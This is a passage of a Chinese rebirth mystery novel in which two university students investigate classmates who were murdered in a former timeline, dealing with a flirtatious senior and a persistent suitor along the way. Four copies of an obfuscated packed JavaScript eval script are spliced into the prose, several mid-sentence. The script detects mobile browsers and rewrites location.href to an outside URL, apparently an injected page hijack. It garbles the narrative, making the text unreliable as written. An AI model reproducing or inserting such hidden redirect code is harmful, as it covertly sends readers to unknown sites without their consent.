一路回到学校，两人在树林中找了个长椅坐下。这里离去西门的那条路有些距离，走的人少，很安静，不远处就有路灯，有人路过也都能瞧见，是个让二人都能安心说话的地方。 “我打算接触一下在我之前死的另外两个人。”闻夏皱起眉，“我还是想不明白，如果他是冲着我来的，那为什么要杀她们呢？” “死的是谁？你认识他们吗？” “认识，但都不太熟。” 第一个出事的是历史系的同班同学，名叫徐雅。她死了没两天，警察还没调查出个结果来，便又死了一个人，是其他学院大三的学长，霍成杰。 “徐雅……我和她除了同班上课之外，还真没什么交集。那个姓霍的学长，是我有一次路过篮球场，被他的球砸到。” 这宛若小说情节一般的相遇，姜晓霜睁大了眼睛，“然后就认识了？” 闻夏迟疑道：“……算是吧，我说没事，但他非要让我去趟校医院，后来一段时间不知道为什么经常能遇到他，但也没什么接触。” 姜晓霜撇着嘴，她也不明白为什么周达要杀这两个人。 “我需要做什么？也去接近认识一下他们？” “不用，这个我来就好。”闻夏立刻便否定，怕她多想，又解释道，“我以前从来没有主动接触过他们，所以你什么都不用做。” “好吧，那你发现了什么记得告诉我，我们一起想。” “嗯。其实……还有一个奇怪的地方。”闻夏又抛出另一个她思考了很久的问题，“我是寒假的时候见到他，在那之后他应该都没出现过，但是这几起案子，包括我的，都是在下学期结束，快要暑假的时候发生的。” “你是奇怪，他为什么会突然冲动地杀那么多人？” “对，我怀疑，下个学期应该还发生过什么事。” 姜晓霜也赞成点头：“肯定是有什么事刺激到他了。” 但没见到周达之前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536689|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都还是未知。 “我先去和他们接触接触，”闻夏垂下眼，脚边悠悠飘落一片黄中带绿的落叶，“也许能发现他们之间的共同点。” * 很快便开始了新学期的正式课程。 历史学专业的大一课表都是学校统一安排的，专业课和公共课都固定了时间，只有一两门选修有调整的余地。闻夏和姜晓霜选了一样的课，但和徐雅只有专业课和公共课能遇上，闻夏观察了她几天，下课后也和姜晓霜跟在她身后，却在食堂瞧见和她同桌吃饭的另一个人时齐齐愣住。 “那是……冉婷婷吗？” 闻夏一怔，反应过来：“噢，对，你和她是初中同学。” 姜晓霜疑惑扭头，“你也认识她吗？” “嗯，她高中也和你一个班。” “这样啊……没想到她也来榆大了，真巧。” 多亏了陈佳，闻夏对这个人印象还挺深刻。 她刚回到四年前时，正巧陈佳约了姜晓霜出去玩，她想着出去熟悉环境，便答应了。她们途中便遇见了这个冉婷婷和她男朋友。 冉婷婷人长得漂亮，个子又高又瘦，还会跳舞，在班上甚至学校都出名，见着她传闻中新交的帅哥男朋友，陈佳直呼这是现实版的小说偶像剧，让未来即将和他们同校的“姜晓霜”多帮她注意这对情侣的进展，在后来得知冉婷婷和她一个班后，更是激动得不行。 当然，这一对小情侣也没有辜负陈佳想要吃瓜的期望，时不时便闹一场，分分合合的动静搅得全校都知道，直到学校终于插手打击早恋，男生也即将中考，两人才彻底分了手。 但除此之外，闻夏还和她有过一点小小的过节。 “你初中的时候，和她有过什么矛盾吗？” 姜晓霜一愣，“应该……没有吧？为什么这样问？” 那便奇怪了，闻夏想了想，还是将当时发生的事告诉了她。 那时是高一的下学期，刚开学没多久，一次自习课，冉婷婷突然发现手机丢了。她焦急地四处寻找，最后不知怎么盯上了坐在斜前方的“姜晓霜”，质问是不是她拿了手机。 闻夏停下写作业的笔，不太理解这无妄之灾怎么就落到了自己头上，冉婷婷看着她迷茫望来的眼神，盛气凌人地说出了自己的理由：“班上大家几乎都有手机，就你没有吧。那肯定就是你拿的。” 她的推测听起来还有几分合理。但—— 闻夏没说话，侧过身，慢悠悠从书包里掏着什么，全班都安静下来，盯着她的动作，直到将东西示于人前，她才张口道：“我的。” 冉婷婷脸色不太好看，一把夺过她的手机，前后打量一番，甚至还按开屏幕看了一眼壁纸，品牌、型号、颜色都和她的完全不一样。 这是闻夏前一个寒假出逃闵湖回来，姜家父母才给她买的手机，款式新着呢。 闻夏也不恼，仍由冉婷婷查看后交回到她手里，然后收回书包，继续埋头写作业。 冉婷婷青着脸回到座位上，又是一连串翻箱倒柜的寻找。 但直到那天放学，冉婷婷也没能找回手机。 13. 认识 听完闻夏的话，姜晓霜再看向冉婷婷的目光就变得有些微妙起来：“我初中虽然和她同班，但朋友圈都不一样，她好好的干嘛针对我。” 她端上打好的菜，跟着闻夏坐在了另一侧的空位，又问：“那后来呢？” “之后倒是没什么，她也没来招惹我。不过我现在也才知道，她居然来了榆城大学。” 姜晓霜悄悄又往那边瞥了一眼，那一桌四个人，除了徐雅和冉婷婷，其他两人看起来都很陌生，好奇道：“她们怎么认识的呢？也不是我们班的，难道是住一个宿舍？” “可能吧。” 她们昨天跟着徐雅一路回到宿舍，发现她就住在她们那栋楼的三楼，但是没太注意她的室友是谁。前世闻夏并不关注徐雅，现在便无法得知前世冉婷婷是否也在榆大，但她与徐雅扯上了关系，还早早就出现在了自己的生活里，这样的巧合让她不由对冉婷婷多留心几分。 靠观察能获得的线索总是有限的，闻夏没什么和人交朋友的经验，想来想去，最后还是在第二天一早的公共英语课时坐到了冉婷婷旁边。 公共课的人多，学校分配了一个很大的阶梯教室，老师也不点名，学生来来去去，偶尔的座位变动也正常。 徐雅一直和班上的一个同学坐在一块儿，之前她的右手边都空着，今天忽然多了个人，她扭头一看，视线却在她脸上凝住，迟疑道：“姜晓霜？” “你怎么……不是都和闻夏坐一起吗？”她说着，转头向右后方寻找着，果然瞧见“闻夏”正放下书包落座，淡淡地往她们的方向看来。徐雅挑眉：“你们闹矛盾了？” 闻夏轻笑：“我也想认识认识别的同学。” 徐雅闻言只是看她一眼，没说什么。 老师姗姗来迟进了教室，课前准备还有些时间，徐雅手上转着支水笔，不经意地侧过头，问：“你和闻夏，以前就是同学吗？” “不是，只是认识。” “哦对，你好像是北方人。” 电脑启动的声音从音响里发出，仿佛上课铃一般，教室里很快安静下来，徐雅也转过头望向黑板，没再和她搭话。 这天早上的课排得很紧，英语课之后紧接着就是班里的专业课，就在旁边那栋楼，时间倒也宽裕，班里的同学都三两结伴往那边去。 见“姜晓霜”依旧走在自己身旁，徐雅又扭头看了一眼落在后面独自行动的“闻夏”。 闻夏见她慢了一步，顺着她的目光望过去，问道：“怎么了？” 徐雅收回目光，朝她笑笑，“没事，我们走吧。” “徐雅，你是榆城本地人吗？” “是啊，你要是想知道什么好吃好玩儿的，尽管问，我都能推荐。” “谢谢，”闻夏笑着点头，也没忘记徐雅另一侧的人，微微探头看向她，“语燕，你呢？也是本地人吗？” “我老家是C省的，不过从小在榆城长大。” “那挺巧，我是卫城人。” “是吗！我爷爷奶奶家也在卫城，”何语燕也热络了几分，“我家每年过年都会回一趟卫城。” 徐雅左右看看，也加入她们，“我有个室友也是卫城人，应该介绍给你们都认识认识。” “徐雅，你去过卫城吗？” 徐雅摇头：“没怎么去过北方。” 何语燕挽着她的手热情邀请：“有空带你去玩儿。” 徐雅笑着应下：“好啊。” …… 专业课结束，也到了午饭的时间了，大概是已经认定她们闹了矛盾，徐雅主动邀请她一起去吃午饭，闻夏自然不会推辞。倒是何语燕说室友帮她带了饭，中途便回了自己宿舍。 正是饭点，食堂里几乎坐满了人，徐雅四处张望，见角落里有人朝她招手，才叫上闻夏，“这边，我室友帮我们占了位置。” 吃完盘里的最后一口菜，冉婷婷拿起水杯，抬眼瞥见跟在徐雅旁边走来的人，动作一顿，视线牢牢锁在她身上。 直到徐雅走到她们面前，介绍起人来，“我们班同学，姜晓霜。”随后又指向对面的二人，“我室友，冉婷婷、薛梦。” “这位冉大美女，就是我早的时候和你说过的，也是卫城来的那位。” 一番介绍结束，一头清爽短发的薛梦抬手打了个招呼，“你好呀。” 闻夏笑着也回了声“你好”，然后看向冉婷婷，道：“好久不见。” 冉婷婷没说话，只是盯着她轻哼了一声。 “……你们认识？”徐雅睁大了眼睛。 “同学。”闻夏言简意赅道。 许是不耐和她们纠缠，冉婷婷一言不发，端起自己的空盘便起身走了。薛梦和徐雅面面相觑，又齐齐望向桌上的第三人。 闻夏耸了耸肩，表示自己的不明白。 徐雅却突然道，“晓霜，你运气真好，认识那么多大美女。” 还没等闻夏回话，薛梦眼睛一亮，一连串的问题抛了出来：“什么美女？还有其他的？谁呀谁呀？你们班的那个闻夏？” “是呀，晓霜和闻夏以前就认识呢，关系还很好，对吧？” 闻夏没有回答这个问题，起身看向徐雅：“去打饭吗？” 徐雅似才回过神，也连忙跟着站起来，“走吧。” * 除了打工的时间，姜晓霜和闻夏几乎去哪儿都在一块儿。姜晓霜和室友相处的时间因此变得更少，不过她倒是能和刘曼云说上几句话。 而徐乐怡和张书雯就如闻夏说的那样，两人关系很好，刚开始时还爱叫上另外两位室友聚餐，一月不到，也隐隐开始与她们划了界线。 这样的关系发展姜晓霜早有预料，自然不在意，但刘曼云却有些不高兴了。不像姜晓霜还有闻夏陪伴，刘曼云也是外地人，眼见着别的宿舍和和美美，自己却孤立无援，姜晓霜还总往外面跑，她在宿舍便连个能说话的人都没有。 也许是徐乐怡两人亲亲热热好姐妹的做派让她不想掺和，于是刘曼云便缠上了姜晓霜，想要加入她和闻夏的小团队，结果终究还是败在了课程和作息的差别之下， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536690|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟专业不同，姜晓霜还很忙，刘曼云根本对不上她的时间，尝试几天后也没能多见着姜晓霜和闻夏几面，便放弃了。 难得今天二人都推掉了晚上的工作，晚上便约在宿舍背后的小树林，打算说说话。 “你今天缠了徐雅一天了吧，发现什么了吗？” 闻夏摇头：“就一天，也看不出什么。对了，我还见到冉婷婷了，她和徐雅真是室友。” 姜晓霜连忙坐直身子：“看到我她什么反应？” “我说了句‘好久不见’，她没理我，直接走了。” “什么人啊她！”姜晓霜一脸震惊，“我以前真的没招惹过她。” 正主都想不明白，闻夏自然更不知道原因了，她无奈摇头，“不过，我觉得徐雅说的话有点奇怪。” “她说什么了？” 闻夏琢磨了会儿，道：“我也说不上，就是一种感觉。” “我没和她说过几句话，但我也觉得她有时候看我的眼神怪怪的。” 闻夏微皱起眉，“你也这么觉得？” “对啊，就是那种……她的脸看起来好像在笑，但是其实人并没有笑的感觉。”说完这话，姜晓霜莫名觉得有些后背发凉，向闻夏确认道，“……她是受害者吧？怎么感觉她才更像那个反派呢？” “等等，你刚才说‘也’？你也感觉到了吗？” 闻夏没有说话，思绪却飘回到了从前。 因为遗传了闻尧和唐月的良好外貌，却拥有一个糟糕的家庭条件，她从小便能感受到四面八方涌来的无数目光。其中也许有几分欣赏，也有几分打量与审视，她不太能分辨他们的情绪，却已经习惯他们这样的注视。 闻夏能察觉到徐雅时不时望向她的目光，但她们并无太多交集，疲于奔波的她更不会去理会一个近乎陌生的人的打量，即便那目光过于炽热与怪异，她也权当是错觉，不曾在意过。 可这样的目光又能说明什么呢？ 两人沉思片刻，都没什么头绪，姜晓霜又想起另一个人，问道：“那个叫霍成杰的学长呢？你是什么时候去的篮球场？” “我也记不太清具体哪一天了，但我那天是打算去见教世界史的刘老师，有关于作业的问题想请教他，去他的办公室会经过篮球场。” 闻夏翻出笔记本里附带的日历页，上面记录了各科作业和考试的日期，她翻了一页，手指停在十月第二周的一格里，上面简短写着“世界史-文艺复兴分析”。 “应该就是这次作业。我当时好像是写到一半有的问题，应该不会太靠近最后提交的时间。” “还有两周多……这个作业你现在写到哪了？我都还没开始呢。” “刚定好方向开了个头。但和我以前的时间应该不太一样。”毕竟重学一遍，很多内容她都还有些印象，作业写起来也比以前顺手。 姜晓霜摩挲着下巴想了想，“要不我这几天没事就去篮球场附近逛一逛吧。” “行。他好像是学建筑的，我明天也打算去工程学院那边看看。” 14. 可惜 “也往篮球场那边走吗？那我们一起过去？” 却见闻夏摇了摇头，“我今天和徐雅一起，突然意识到一个问题——” “前世的我，并不认识姜晓霜。” 姜晓霜闻言一怔，很快便明白她话里的意思，“……那我们俩也需要保持距离了吗？” 闻夏抿唇，“最好是这样。” 姜晓霜幽幽叹气，没说什么。只是好不容易她们到了榆大才能离得那么近，以后却又要回归网友的联系方式了。 “明天我会跟在你后面，如果篮球场没见到霍成杰，你就先走吧，我会去工程学院那边看看。”似是为了安慰姜晓霜，闻夏顿了顿，又道，“其实我们离远一点也好，我能更方便观察。” 姜晓霜也明白地点点头，“你说得对，总跟我一起，那我们能看到听到的东西都是一样的。” 往往是在旁观者的视角，才能看到更多东西。 * 第二天上午没课，姜晓霜出宿舍时，闻夏已经站在走廊里，二人隔空交换了一个眼神，姜晓霜朝她笑了笑，率先下了楼。 闻夏远远跟在后面，已是九月底，入秋之后天气便逐渐转凉，却是个很适宜出门的温度，不冷不热，加一件薄外套刚好。 去往篮球场的路上有一条林荫大道，太阳透过枝叶间隙落下星星点点的光，姜晓霜望着笔直宽阔的路，缓缓地呼出口气。连轴转了这么些日子，难得有些什么都不用想的放松时候。 高中的老师果然也都是骗人的，什么上了大学就解放了，虽然打工是她和闻夏的个人原因，但大学的学业明明也不轻松。她没有学神的脑子，但高中那一番拼搏却证明了她的努力是有用的。不管是为了闻夏还是她自己，即便到了大学，她也想要拿好成绩。 走到林荫路的尽头，便能听见遥遥传来的欢呼与呐喊声，姜晓霜从足球场边路过，隔着铁丝网望向里面，今天似乎有比赛，两队的服装统一，明亮的黄色与蓝色分散在球场各个区域，中间几人紧紧跟随着球。 篮球场不大，就在足球场旁边，似乎是后来看见有多余空地才加的，只有四个篮筐，也不像足球场一样用铁丝网隔开。 学校另一侧的体育馆场地更大，来这边打球的人不算多，姜晓霜站在路口往里面瞧了瞧，这才想起自己也认不出哪一个是霍成杰，回头看见闻夏已经走近，便低头给她发消息。 姜晓霜：他在吗？ 闻夏也正往球场里瞧，过去了三年多，她对霍成杰的长相也有些模糊了。握着的手机传来震动，闻夏打开手机，回复道：等我找找。 瞧见球场一侧有几级阶梯坐着人，闻夏便进了球场往那边去。 球场里打球的都是男生，坐在阶梯上围观的倒是有几个女孩子。她一走近，便有男生往她这边瞧。 闻夏与旁边的女生隔了段距离坐下，目光落在球场内侧一个穿黑色背心的人身上。 那人面朝姜晓霜那边，侧脸瞧着有些像霍成杰，正歪着头听旁边的人说话，有一拍没一拍地玩儿着手里的篮球。 闻夏拿出手机打字：里面球场那个穿黑色运动背心的人看起来有点像。 按下发送键，闻夏抬起头，想等他转过正脸再确认，便见他转头和旁边的人不知说了句什么，随后抬手做出一个投篮的姿势。 球抛向空中，却从篮筐旁边越过，直直飞向了场外。 站在路边的人正低头查看手机，闻夏来不及思考，起身惊呼：“小心！” 姜晓霜倏地抬起头来，篮球已经飞到她面前，她急忙想避开，却已经来不及，篮球擦过她的右脸撞上了肩膀，随后反弹落地，悠悠滚了几圈，停在灌木丛边。 闻夏连忙过去，却不及内侧球场的几人近，投球的人和他的两个朋友已经大步走到姜晓霜面前，关心起她的情况。 闻夏走到一半的脚步顿住，离得近了，便看清了他们的脸。 姜晓霜这会儿脸颊刺痛，被三人围住，脑子里却还记得刚刚看到的消息，现在这个一直和她说话的不就穿着黑色背心吗？ “同学，你还好吗？对不起啊，是我扔的球，没想到砸到你了。” “我没事。”运动完的人身上似乎有着火炉一般的热气，离得太近了有些难受，姜晓霜稍稍往后退了一步，带着些疑惑又望向闻夏那边。 闻夏朝她点了点头，姜晓霜便明白过来，看来这人确实就是霍成杰了。之前闻夏便说霍成杰非要送她去校医院，现在情况也一样，于是姜晓霜半推半就地便跟着他走了。 闻夏正想跟上，见霍成杰的两个朋友还站在原地，刻意放慢了脚步。 两人望着离去的霍成杰和姜晓霜，其中染了棕发的抬手搭在另一人肩上，调笑道：“老霍可以啊，出手够果断的。” 另一人啧啧两声，“那可不嘛。” 两人转过身，打算重新回到球场，瞧见站在身后不远处的闻夏，目光在她脸上停留一秒，又不太在意地移开。 闻夏面不改色地从他们身侧走过，隔了二三十米跟在姜晓霜后面。 霍成杰一路上都在找话题，介绍了自己，又打听她的情况，姜晓霜一路应付敷衍着，总算到了校医院。 榆大的医学院很出名，单独分出了一个校区，旁边就是一所对外的附属医院。主校区的校医院规模也不小，独立的一栋小楼，基础科室也齐全。 一进医院，霍成杰便将姜晓霜按在座位上，忙前跑后地帮她挂了外科的号。 今天校医院人不多，前面只排了两个人，很快便轮到了姜晓霜。 医生看了看她的右脸，微微破皮，还有一丝不太明显的血痕，又让她动了动右手，写着桌面上的单子，“去对面那间处理一下脸上的伤口，肩膀没有大事，休息几天就好，如果持续疼痛再来看。” 霍成杰站在旁边，问道：“医生，脸上的伤口不会留疤吧？” 医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536691|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生将写好的单子递给姜晓霜，“伤口浅，不用担心，刚开始几天可能比较明显，后面应该会慢慢消掉的。” 他真心实意地松了口气：“那就好，那就好。” 二人出了诊室，霍成杰才捂着心口愧疚道：“吓死我了，我还以为我要害你破相了，那我真成罪人了。” 他可不就是罪人嘛。姜晓霜抿唇控制着脸上的表情，虽然疼的是她，但伤的是闻夏的脸啊，还好不严重，不然……她很想骂霍成杰，但又得配合演完戏，一时不知怎么回应。 幸而，不等她多想，对面科室的护士主动出来，接过单子扫了一眼，让她坐下，随后取了消毒用品和纱布药膏来，坐在她身旁开始处理伤口。 冰冰凉凉的棉签落在脸上，擦过伤口时又隐约有几分刺痛。护士看着她的侧脸，叹道：“这么漂亮，怎么伤到脸了呢。回去注意伤口不要碰到水，留疤就不好了。” 姜晓霜轻声应下。 见二人走出医院，坐在大厅一角的闻夏才慢悠悠地起身跟上。 霍成杰正提出想送姜晓霜回宿舍，姜晓霜刚才已经发消息和闻夏确认，前世从校医院出来后她就自己离开了，这会儿便也严词拒绝霍成杰。 霍成杰也没有多为难她，目送她走向另一侧，便晃晃悠悠又往篮球场那边去。 闻夏左右瞧了瞧，还是跟上去。 霍成杰掏出手机，半晌后举起放在耳边，“喂，你们回去了吗？……刚结束啊，那我也回宿舍吧……嗯，我这边也弄完了，她没啥事儿。”不知对面说了什么，他笑了笑，又道，“行，回去再说。” 他半途改了道，走向了闻夏不熟悉的一个区域，却巧合地又遇上了一起打球的那两人，两人热情地上前招呼霍成杰，棕发男生打听起来：“怎么样？有机会没？” “我之前听你说还不信，今天一看，是真漂亮啊。” “那是，她一入学我可就听说她的大名了，可惜就是不知道一天忙活什么呢，除了上课，人影都见不着一个。今天有缘让我碰见了，可不得快点出手么，免得又错过了机会。” “老霍你也是一点不怜香惜玉，都把人脸弄伤了。” 霍成杰有些尴尬地轻咳一声，“手误，抛高了。不过还好没事，不然也是真可惜了。” “那你可不得继续给人家送温暖？” 霍成杰耸肩，“那肯定得追一段时间啊。美女不都这样，哪能轻易答应人，多掉价。就是可惜，我以为她会是那种高冷又很难搞的类型呢。” “不难搞，那还不好吗？” “那多没意思，”霍成杰一副旁人都不懂的姿态摇头，“难搞的，才有征服的快感。” 另外两个男生似有所悟，都哄笑起来。 …… 这边是男生宿舍区，越往里走能瞧见的女生便越少，也越显眼。闻夏没再往前，只远远看着他们走进了一栋楼，记下了位置和楼栋，便转身离开。 15. 男友 “我就说怎么这么巧，一去就遇上了，原来是他什么时候看到就打算什么时候砸！”姜晓霜愤愤道，为自己承受的痛，也为闻夏的伤，“我一看到他就感觉不是好人，外表长得还行，内心却这么龌龊，果然是个渣男！他以前追了你多久？” 闻夏脸上表情有些一言难尽：“……我都没发现他在追我。” 姜晓霜一愣，随即笑开了花：“他连你的边儿都沾不上，看来你是渣男克星啊。” 闻夏耸耸肩，没有接话。 “哎，你说……那谁到底为什么要杀他们啊。我感觉他们也没什么共同点啊……一个男的，一个女的，都是一个学校的……一个大一，一个大三……他们会不会只是哪一次偶然遇见了那谁，就被他盯上了？” “也有这种可能。”只接触了短短一天，闻夏也没什么头绪。 “不过吧，如果我们俩的感觉都没错，那他们还是有共同点的。” “什么？” 姜晓霜伸出左手，“如果徐雅不喜欢你，”又伸出右手，“而霍成杰喜欢你的脸，但却是个渣男。” 最后她双手合十并在一起，偏向闻夏的方向，“那他们两个都不是什么好人，尤其是对你来说。” 听起来是很合理的推测，闻夏却挑眉：“他总不会以这个来决定杀谁吧。” “你说，他会不会和你一个学校的时候就喜欢你？” 听姜晓霜的推测愈发离谱了，闻夏有些无奈道：“他下一个杀的就是我，这算什么喜欢？” “也是……”姜晓霜泄气一秒，却又忽地冒出了新想法，“说不定是因爱生恨呢？你们没什么交集，还这么久没见，万一这几年他过得不好，变态了，心理扭曲了，那他什么做不出来？” “这也是一种可能嘛，对吧？” 闻夏叹了口气，点头应下她的话。姜晓霜说得没错，一个人可以有无数个原因会想要杀死另一个人，她们再怎么猜测，也都只是其中之一的可能性罢了。 她们不是周达，怎么能一分不差地猜到他的想法呢。 总之，她们只能继续关注着徐雅和霍成杰，等待周达出现。 * 期中，虽然不是每一门都有期中考，但榆大的大部分学生都在紧张的复习中。 姜晓霜这晚从图书馆回来，便察觉到了宿舍里僵持的气氛。她忽地想起闻夏说过，刘曼云和另外两人会闹矛盾，看来就是今天了。 只不过闻夏当初没多问，她现在虽然好奇，却也打算当没发现。谁知她和刘曼云大约比起前世的闻夏多了那么两分交情，第二天一早，趁徐乐怡二人不在时，刘曼云便主动找上了她。 姜晓霜正打算下楼吃早餐，刘曼云连忙提了包跟上，“你是不知道……昨天她们俩多过分……” 八卦主动送上门来，姜晓霜也不拒绝，配合地问道：“怎么了？” “昨天的卫生不是我负责嘛，前一天是徐乐怡，她老不扔垃圾，一早起来就说她昨天忘了，今天到我了，让我去扔。又不是一次两次了，本来也不是什么大事，我懒得和她吵，都忍了。结果她大中午的，别人都午休呢，她在那噼里啪啦地敲键盘打游戏，把我吵醒了，还不让我说……” 姜晓霜认真听着，心里感叹着，原来是积怨已深啊……得亏她不常在宿舍，剩下三个人居然也这么能闹腾。 “……她最后居然叫上张书雯一起数落我，她们俩谁比谁好啊！真是！” 迈上食堂门口的台阶，姜晓霜抬手拍了拍刘曼云肩膀，“都是昨天的事了，大不了以后不理她们。” “那当然，我绝对不会再帮她们扔垃圾了！” 两人端着饭菜找空位坐下，刘曼云又问：“你期中都考完了吗？” “下午还有一门。” “专业课吗？” “对。” “复习好了吗？我昨天下午都考完了，真是累死了。” “应该还行吧。” “加油！” 姜晓霜咽下一口菜，笑笑：“谢谢。” …… 下午3点50，距离考试结束还有十分钟，姜晓霜终于停了笔，狠狠松了一口气。 还好还好，写完了。差点以为这门课要完蛋了。 她抬头看向左前方，闻夏的位置已经空了，她写得太起劲，都没注意到她什么时候已经交卷了。她又检查了一遍试卷，确认没有答错题、写错字，也到讲台上交了卷，提起包出了教室。 闻夏正站在不远处的走廊栏杆处，和其他同样在等待却低头看手机或聊天的人不同，她只是双手插在外套口袋里，一个人静静站在那，轻轻望向出来的人。 她们这些天都很少当着别人的面说话了，各自忙碌于学业和兼职，其实她们能见面的时间本来也不多。 但像这种考试的时候，闻夏总会在外面等她，似乎看到她的表情，便能得知她考得怎么样。 姜晓霜如往常一般朝闻夏笑笑，刚往她那边走了两步，眼前便横空而出一人，挡住了她的路。 俊秀高大的男孩儿手里握着一束花，站到她面前，周围注意到的人已经发出了几声起哄的欢呼。姜晓霜愣在原地，听见面前的人道：“学妹，我是物理系大二的宋豪。你可能不知道我，但从你一入学我就注意到你了。” 宋豪递出手里的玫瑰花束，“可以做我女朋友吗？” 姜晓霜眉头微微皱起，好不容易应付完了霍成杰的纠缠，期中这段时间没有再来烦她，现在又从哪冒出来这么一个人？ 周围的学生都兴奋地看热闹，姜晓霜十分不喜欢这种变成人群焦点的感觉，她看向闻夏的方向，见她朝自己摇头，便往后退了一步，远离玫瑰花束，拒绝道：“抱歉。” 姜晓霜大步离开，闻夏转头看了一眼宋豪，随后也跟了上去。 她都差点忘了还有宋豪这人了。 * “你真答应宋豪了？？？”姜晓霜几乎要从椅子上跳起来。 比起霍成杰那让她意识不到的示好，宋豪这人人如其名，是真有恒心坚持，怎么拒绝都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536692|186589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死心。 闻夏也有些真情实感的无奈：“他实在太烦人了。” 宋豪那缠人的劲仿佛用不完，连自己的课都不上了，整天跑到历史系的课来，送花送吃送礼物，过于高调的追求，连同学和老师都见怪不怪了。 就这么纠缠了几个月，到了大一下学期，宋豪仍旧没有放弃。连刚换的新兼职也绕不开宋豪时，闻夏终于忍不住开口问他，到底要怎么才能放过自己。 宋豪嬉皮笑脸地回答：“你答应我，我就什么都答应你。” 于是闻夏便真的答应了，但交换条件是他不能再擅自来工作的地方和教室找她。 得了想要的正牌男友的名头，宋豪意料之外地听话，没再来打扰她工作，也不像从前那样生怕别人看不见他一样招摇过市地出现在教室里。 当然，宋豪只答应了不会去打扰她上课，于是闻夏偶尔下了课，便能看见在教室门外朝她招手的宋豪。 比起之前的高调张扬，闻夏竟然已经觉得这样都已经不算什么了。 但人或许都是贪心的，也许一开始宋豪只是见色起意，但即便是他单方面的纠缠，越靠近闻夏，他便也逐渐沉溺其中。 只做一个空有名头的男友如何能满足？他想要闻夏的心。 和这一世得知了本性的霍成杰相比，宋豪其实不坏，对她更谈不上不好。但他们的关系，本就只是闻夏用来交换平静生活的筹码，又何谈真心？ 宋豪闹过几次分手，但他很快便意识到这并不能威胁到闻夏，因为她并不在意。如果真分手了，反倒像是在惩罚他自己。于是他总是情绪上头时冲动提分手，没多久又会主动联系闻夏示好。 闻夏忽地想起前世无意接通的那个电话，她死前最后听到的就是宋豪的声音。 可凶手杀了她，却带走了她的手机，是要去做什么？他会不会紧接着又找上了宋豪？ 闻夏虽然对宋豪的纠缠不休感到头疼，但也绝不希望他因自己而送命。 只要她能在周达杀人之前拦住他就好。 …… “……在想什么？” 姜晓霜拍拍闻夏的肩膀，闻夏回过神，摇头道：“没事。” 姜晓霜觑着她脸上的神色，问：“你不会真喜欢那个宋豪吧。” 想到今天那人的行为，她脸上便露出了嫌弃的神色。他哪里配得上闻夏。 闻夏轻轻摇头，将前世被他纠缠的经历说了出来，最后又添了一句：“他人也不坏，就是太缠人了。” “好吧。”姜晓霜勉强接受了这个说法，“那我就像你一样，一直拒绝他，到下学期再答应就好，对吧？” 闻夏又有些犹豫起来，毕竟男友还是和别的不一样，万一他们单独相处时发生什么别的，姜晓霜并不需要为她做到这一步。但想到姜晓霜之前的坚持，还是点头应下了：“但你不用做自己不愿意的事，我和他之间什么都没发生过，就算之后答应了他，你也把他当一个普通朋友就好。” “我明白，我会保护好自己。” 16. 新年 分明才过去了半个学期，但期中考之后的时光仿佛比前半学期快了一倍，不知不觉间便到了寒假。 按照闻夏前世的轨迹，姜晓霜自然也不打算回闵湖。闻夏给姜母打了电话，对方却十分不理解她为什么寒假还要留在学校。争论许久，最后两方都妥协，许文允许她留校，闻夏也答应过年的那几天回卫城。 直到现在，周达连个影子也没出现过，但姜晓霜入职闻夏见到周达的那个火锅店时不免也有几分紧张。 超市的工作她也没辞，和火锅店的排班错开，多是白天在火锅店，晚上在超市。 第一天来工作，闻夏跟在姜晓霜身后，见她站在店门口迟迟没有进去，看出她的紧张，左右瞧了瞧，还是上前轻声安慰道：“我就在附近也找个工作，不用担心。” 姜晓霜也没转头看她，只点点头，随后深吸一口气，推开了火锅店的门。 这家火锅店不小，除了一楼大厅里摆的桌子，二楼还有一些圆桌包厢。二楼不太看得清，但一楼都是玻璃窗，闻夏在附近转了一圈，挑了火锅店斜对面的一家便利店，门上正贴着店员招聘。 这是家新开的便利店，老板一个人连着上了半个多月的班了，已经有些扛不住，很快闻夏便顺利入职。 